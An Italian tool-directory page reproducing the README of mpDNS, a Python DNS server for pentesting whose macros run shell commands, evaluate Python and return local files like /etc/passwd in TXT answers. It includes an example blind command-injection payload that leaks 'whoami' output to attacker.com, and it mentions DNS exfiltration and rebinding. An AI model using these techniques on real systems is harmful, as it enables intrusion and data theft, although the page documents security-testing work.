Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
mpDNS — Server DNS multiuso | Kitploit
Strumenti/GitHubGitHub/nopernik/mpdns
Scripting e AutomazioneEsfiltrazione DatiRaccolta InformazioniSicurezza WebAnalisi MalwarePenetration TestingRed TeamingAnalisi DNS
GitHubnopernik/mpdns

mpDNS

Server DNS multiuso

Vedi Repository
1442041 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

mpDNS alias server DNS multiuso


Semplice server DNS configurabile con molte funzionalità utili

  • Python 3
  • names.db -> contiene tutti i record personalizzati (vedi esempi)
  • Wildcard semplici come *.example.com
  • Cattura richieste DNS unicode
  • Azioni personalizzate (dette macro):
    • {{shellexec::dig google.com +short}} -> Esegue un comando shell e risponde con il risultato
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Valuta il tuo codice Python
    • {{file::/etc/passwd}} -> Risponde con il contenuto di un file locale
    • {{filelist::/somefile.list}} -> Risponde con più risultati riga per riga
    • {{resolve}} -> Inoltra la richiesta DNS al DNS di sistema locale
    • {{resolve::example.com}} -> Risolve example.com invece del record originale
    • {{echo}} -> Risponde con l'indirizzo del peer
    • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> Utilizzo di variabili
  • Vedi names.db.example per ulteriori dettagli

Fortemente basato su https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

Guida rapida

root@kitploit:~
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db

Ora sei pronto per inserire i tuoi record DNS in names.db basandoti su names.db.example

Utilizzo: ./mpdns.py

  • Crea names.db. Vedi names.db.example
  • Modifica i record DNS in names.db con ./mpdns.py -e senza necessità di riavvio

Scopi offensivi e difensivi:

  1. Hai bisogno di una soluzione server DNS semplice e leggera per scopi di test (NON PER PRODUZIONE!)
  2. Test per varie vulnerabilità di blind injection in applicazioni web (es. /ping.php?ip=$(dig $(whoami).attacker.com))
  3. Infiltra facilmente 65K di dati in una singola query TXT
  4. DNS Rebinding
  5. Esegui un'azione macro personalizzata su una query specifica (utile in ambienti di laboratorio di analisi malware)
  6. E molto altro. È altamente personalizzabile.

Limitazioni

  1. A causa del limite dei datagrammi UDP di 65535 byte, la risposta DNS è limitata a circa ~65200 byte
    questa limitazione si applica ai record TXT che vengono suddivisi in blocchi di 256 byte fino a quando la risposta raggiunge il massimo consentito di 65200b
    pertanto il record TXT con la macro {{file:localfile.txt}} è limitato a 65200 byte.
  2. Nessun supporto per wildcard annidati test.*.example.com
  3. Nessun supporto per resolver DNS personalizzato nella macro {{resolve::example.com}}
  4. TTL sempre impostato a 0

Esempi

Esempio di names.db:

root@kitploit:~
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec			TXT     {{shellexec::whoami}}
eval				TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1			A       {{resolve}}
resolve2			A       {{resolve::self}}      #same as previous
resolve3			A       {{resolve::example.com}}
blabla.com			A       5.5.5.5

*					A       127.0.0.1
*.example.com		A		7.7.7.7
c1.example.com		CNAME	c2.example.com
c2.example.com		CNAME	c3.example.com
c3.example.com		CNAME	google.example.com
google.example.com	CNAME	google.com
test.example.com	A		8.8.8.8
google.com			A		{{resolve::self}}
notgoogle.com		A		{{resolve::google.com}}

Output di esempio con l'esempio names.db:

Risoluzione regolare dal DB: dig test.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
test.example.com.	0	IN	A	8.8.8.8

Output mpDNS: - Richiesta da 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


Risoluzione CNAME ricorsiva: dig c1.example.com @localhost

root@kitploit:~
;; QUESTION SECTION:
;c1.example.com.			IN	A

;; ANSWER SECTION:
c1.example.com.		0	IN	CNAME	c2.example.com.
c2.example.com.		0	IN	CNAME	c3.example.com.
c3.example.com.		0	IN	CNAME	google.example.com.
google.example.com.	0	IN	CNAME	google.com.
google.com.		0	IN	A	216.58.206.14

Output mpDNS:

root@kitploit:~
- Richiesta da 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
- Richiesta da 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
- Richiesta da 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
- Richiesta da 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
- Richiesta da 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)

Risoluzione wildcard: dig not-in-db.com @localhost

root@kitploit:~
;; ANSWER SECTION:
not-in-db.com.		0	IN	A	127.0.0.1

Output mpDNS: - Richiesta da 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


Risoluzione sottodominio wildcard: dig wildcard.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
wildcard.example.com.	0	IN	A	7.7.7.7

Output mpDNS: - Richiesta da 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


Macro di inoltro richiesta: dig google.com @localhost

root@kitploit:~
;; ANSWER SECTION:
google.com.		0	IN	A	172.217.22.110

Output mpDNS: - Richiesta da 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


Macro di inoltro richiesta di dominio personalizzato: dig notgoogle.com @localhost

root@kitploit:~
;; ANSWER SECTION:
notgoogle.com.		0	IN	A	172.217.22.110

Output mpDNS: - Richiesta da 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


Macro contenuto file tramite query TXT: dig txt passwd.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

Output mpDNS: - Richiesta da 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


Macro codice Python personalizzato tramite query TXT: dig txt eval @localhost

root@kitploit:~
;; ANSWER SECTION:
eval.			0	IN	TXT	"320"

Output mpDNS: - Richiesta da 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


Macro comando shell tramite query TXT: dig txt shellexec @localhost

root@kitploit:~
;; ANSWER SECTION:
shellexec.		0	IN	TXT	"root"

Output mpDNS: - Richiesta da 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


Divertiti!

Scarica lo strumento